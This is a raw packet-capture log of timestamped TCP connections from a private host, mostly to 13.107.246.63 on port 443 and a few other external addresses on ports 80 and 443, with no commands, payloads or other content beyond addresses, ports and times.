Dec 2, 2024 04:58:52.358067989 CET	443	49850	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.358246088 CET	49851	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.358252048 CET	443	49851	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.358478069 CET	49850	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.358483076 CET	443	49850	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.624376059 CET	443	49853	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.624887943 CET	49853	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.624917984 CET	443	49853	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.625294924 CET	49853	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.625299931 CET	443	49853	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.793503046 CET	443	49850	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.793557882 CET	443	49850	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.793703079 CET	49850	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.793787003 CET	49850	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.793797016 CET	443	49850	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.793804884 CET	49850	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.793808937 CET	443	49850	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.796346903 CET	49855	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.796375990 CET	443	49855	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.796452999 CET	49855	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.796598911 CET	49855	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.796612024 CET	443	49855	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.812460899 CET	443	49851	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.812510014 CET	443	49851	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.812556982 CET	49851	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.812680006 CET	49851	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.812680006 CET	49851	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.812690973 CET	443	49851	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.812697887 CET	443	49851	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.814548969 CET	49856	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.814558983 CET	443	49856	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.814616919 CET	49856	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.814738989 CET	49856	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.814747095 CET	443	49856	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.819001913 CET	443	49852	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.819333076 CET	49852	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.819354057 CET	443	49852	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.819722891 CET	49852	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.819727898 CET	443	49852	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.903950930 CET	443	49854	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.904259920 CET	49854	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.904269934 CET	443	49854	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.904601097 CET	49854	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.904607058 CET	443	49854	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.069854975 CET	443	49853	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.069914103 CET	443	49853	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.069972992 CET	49853	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.070163012 CET	49853	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.070183992 CET	443	49853	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.070194960 CET	49853	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.070199966 CET	443	49853	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.072880983 CET	49857	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.072918892 CET	443	49857	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.073019981 CET	49857	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.073158979 CET	49857	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.073163986 CET	443	49857	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.263478994 CET	443	49852	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.263561010 CET	443	49852	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.263608932 CET	49852	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.264235020 CET	49852	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.264245033 CET	443	49852	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.264256954 CET	49852	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.264261007 CET	443	49852	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.266597986 CET	49858	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.266628027 CET	443	49858	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.266695976 CET	49858	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.266882896 CET	49858	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.266895056 CET	443	49858	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.348728895 CET	443	49854	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.348802090 CET	443	49854	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.348840952 CET	49854	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.349087954 CET	49854	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.349093914 CET	443	49854	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.349111080 CET	49854	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.349112988 CET	443	49854	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.353087902 CET	49859	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.353099108 CET	443	49859	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:53.353152990 CET	49859	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.353293896 CET	49859	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:53.353303909 CET	443	49859	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:54.601854086 CET	443	49856	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:54.602374077 CET	49856	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:54.602396965 CET	443	49856	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:54.603014946 CET	49856	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:54.603018999 CET	443	49856	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:54.642575979 CET	443	49855	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:54.643220901 CET	49855	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:54.643241882 CET	443	49855	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:54.643626928 CET	49855	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:54.643631935 CET	443	49855	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:54.857197046 CET	443	49857	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:54.857630968 CET	49857	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:54.857647896 CET	443	49857	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:54.858036995 CET	49857	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:54.858042955 CET	443	49857	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.046294928 CET	443	49858	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.046737909 CET	49858	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.046751976 CET	443	49858	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.047154903 CET	49858	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.047159910 CET	443	49858	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.047544003 CET	443	49856	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.047600031 CET	443	49856	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.047646046 CET	49856	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.047796965 CET	49856	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.047796965 CET	49856	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.047810078 CET	443	49856	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.047817945 CET	443	49856	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.050163984 CET	49862	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.050204039 CET	443	49862	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.050283909 CET	49862	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.050426960 CET	49862	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.050451040 CET	443	49862	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.096106052 CET	443	49855	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.096164942 CET	443	49855	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.096214056 CET	49855	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.096349001 CET	49855	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.096354008 CET	443	49855	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.096362114 CET	49855	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.096366882 CET	443	49855	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.098464966 CET	49863	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.098485947 CET	443	49863	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.098562956 CET	49863	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.098690987 CET	49863	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.098702908 CET	443	49863	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.197611094 CET	443	49859	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.197917938 CET	49859	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.197927952 CET	443	49859	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.198261023 CET	49859	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.198266029 CET	443	49859	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.200175047 CET	49723	80	192.168.2.4	93.184.221.240
Dec 2, 2024 04:58:55.200478077 CET	49724	80	192.168.2.4	93.184.221.240
Dec 2, 2024 04:58:55.301516056 CET	443	49857	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.301609993 CET	443	49857	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.301688910 CET	49857	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.301919937 CET	49857	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.301929951 CET	443	49857	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.301940918 CET	49857	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.301945925 CET	443	49857	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.304255009 CET	49864	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.304294109 CET	443	49864	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.304368019 CET	49864	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.304466963 CET	49864	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.304480076 CET	443	49864	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.320363998 CET	80	49723	93.184.221.240	192.168.2.4
Dec 2, 2024 04:58:55.320430994 CET	49723	80	192.168.2.4	93.184.221.240
Dec 2, 2024 04:58:55.320750952 CET	80	49724	93.184.221.240	192.168.2.4
Dec 2, 2024 04:58:55.320799112 CET	49724	80	192.168.2.4	93.184.221.240
Dec 2, 2024 04:58:55.541454077 CET	443	49858	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.541538000 CET	443	49858	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.541610003 CET	49858	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.544254065 CET	49858	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.544264078 CET	443	49858	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.544280052 CET	49858	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.544285059 CET	443	49858	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.572505951 CET	49865	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.572527885 CET	443	49865	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.572796106 CET	49865	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.573040009 CET	49865	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.573051929 CET	443	49865	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.661288977 CET	443	49859	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.661349058 CET	443	49859	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.661405087 CET	49859	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.661514997 CET	49859	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.661520004 CET	443	49859	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.661529064 CET	49859	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.661533117 CET	443	49859	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.663800955 CET	49866	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.663825989 CET	443	49866	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:55.664084911 CET	49866	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.664239883 CET	49866	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:55.664251089 CET	443	49866	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:56.881259918 CET	443	49863	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:56.884665966 CET	49863	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:56.884679079 CET	443	49863	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:56.885092974 CET	49863	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:56.885097027 CET	443	49863	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:56.895129919 CET	443	49862	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:56.895507097 CET	49862	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:56.895530939 CET	443	49862	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:56.895891905 CET	49862	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:56.895898104 CET	443	49862	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.087658882 CET	443	49864	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.088270903 CET	49864	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.088284969 CET	443	49864	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.088701010 CET	49864	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.088705063 CET	443	49864	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.326250076 CET	443	49863	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.326313019 CET	443	49863	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.326497078 CET	49863	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.326524019 CET	49863	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.326535940 CET	443	49863	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.326545954 CET	49863	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.326550007 CET	443	49863	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.329212904 CET	49867	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.329232931 CET	443	49867	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.329310894 CET	49867	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.329471111 CET	49867	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.329477072 CET	443	49867	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.348488092 CET	443	49862	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.348541975 CET	443	49862	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.348670006 CET	49862	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.348710060 CET	49862	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.348710060 CET	49862	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.348731041 CET	443	49862	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.348742962 CET	443	49862	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.350704908 CET	49868	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.350734949 CET	443	49868	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.350794077 CET	49868	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.350923061 CET	49868	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.350936890 CET	443	49868	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.361821890 CET	443	49865	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.362365007 CET	49865	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.362385988 CET	443	49865	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.362766027 CET	49865	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.362771034 CET	443	49865	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.378432989 CET	443	49866	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.378726006 CET	49866	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.378734112 CET	443	49866	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.379069090 CET	49866	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.379074097 CET	443	49866	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.532088041 CET	443	49864	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.532169104 CET	443	49864	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.532222033 CET	49864	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.532387972 CET	49864	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.532401085 CET	443	49864	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.532413006 CET	49864	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.532418966 CET	443	49864	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.534708023 CET	49869	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.534725904 CET	443	49869	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.534816027 CET	49869	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.534970999 CET	49869	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.534981012 CET	443	49869	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.797180891 CET	443	49865	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.797244072 CET	443	49865	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.797314882 CET	49865	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.797483921 CET	49865	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.797494888 CET	443	49865	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.797525883 CET	49865	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.797530890 CET	443	49865	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.800285101 CET	49870	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.800323963 CET	443	49870	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.800584078 CET	49870	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.800584078 CET	49870	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.800615072 CET	443	49870	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.813760042 CET	443	49866	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.813810110 CET	443	49866	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.813848972 CET	49866	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.813947916 CET	49866	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.813965082 CET	443	49866	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.813980103 CET	49866	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.813985109 CET	443	49866	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.815920115 CET	49871	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.815937996 CET	443	49871	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:57.816015005 CET	49871	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.816139936 CET	49871	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:57.816149950 CET	443	49871	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:58.819303989 CET	80	49751	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:58.819399118 CET	49751	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:58:59.044049978 CET	443	49867	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.044523954 CET	49867	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.044537067 CET	443	49867	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.044941902 CET	49867	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.044945955 CET	443	49867	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.111318111 CET	49751	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:58:59.129765034 CET	443	49868	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.130244970 CET	49868	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.130269051 CET	443	49868	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.130687952 CET	49868	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.130692005 CET	443	49868	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.216800928 CET	49872	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:58:59.216823101 CET	443	49872	142.250.181.100	192.168.2.4
Dec 2, 2024 04:58:59.216881990 CET	49872	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:58:59.217117071 CET	49872	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:58:59.217129946 CET	443	49872	142.250.181.100	192.168.2.4
Dec 2, 2024 04:58:59.231298923 CET	80	49751	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:59.249150991 CET	443	49869	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.249520063 CET	49869	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.249541044 CET	443	49869	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.250035048 CET	49869	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.250041008 CET	443	49869	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.479270935 CET	443	49867	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.479331017 CET	443	49867	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.479430914 CET	49867	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.479665995 CET	49867	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.479677916 CET	443	49867	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.479690075 CET	49867	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.479692936 CET	443	49867	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.482326984 CET	49873	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.482371092 CET	443	49873	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.482430935 CET	49873	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.482534885 CET	49873	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.482549906 CET	443	49873	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.574673891 CET	443	49868	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.574732065 CET	443	49868	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.574853897 CET	49868	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.574873924 CET	49868	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.574884892 CET	443	49868	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.574896097 CET	49868	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.574899912 CET	443	49868	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.576648951 CET	49874	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.576673031 CET	443	49874	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.576818943 CET	49874	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.576946974 CET	49874	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.576961994 CET	443	49874	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.579046011 CET	443	49870	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.579391956 CET	49870	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.579405069 CET	443	49870	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.579797983 CET	49870	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.579802036 CET	443	49870	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.595068932 CET	443	49871	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.595315933 CET	49871	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.595330000 CET	443	49871	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.595623016 CET	49871	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.595628023 CET	443	49871	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.683443069 CET	443	49869	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.683505058 CET	443	49869	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.683573961 CET	49869	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.683718920 CET	49869	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.683727026 CET	443	49869	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.683737040 CET	49869	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.683742046 CET	443	49869	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.685480118 CET	49875	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.685492992 CET	443	49875	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:59.685569048 CET	49875	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.685655117 CET	49875	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:59.685666084 CET	443	49875	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.025594950 CET	443	49870	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.025661945 CET	443	49870	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.025873899 CET	49870	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.025898933 CET	49870	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.025913000 CET	443	49870	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.025923967 CET	49870	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.025928974 CET	443	49870	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.028484106 CET	49876	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.028508902 CET	443	49876	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.028595924 CET	49876	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.028752089 CET	49876	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:00.028764963 CET	443	49876	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.039683104 CET	443	49871	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:00.039736986 CET	443	49871	13.107.246.63	192.168.2.4
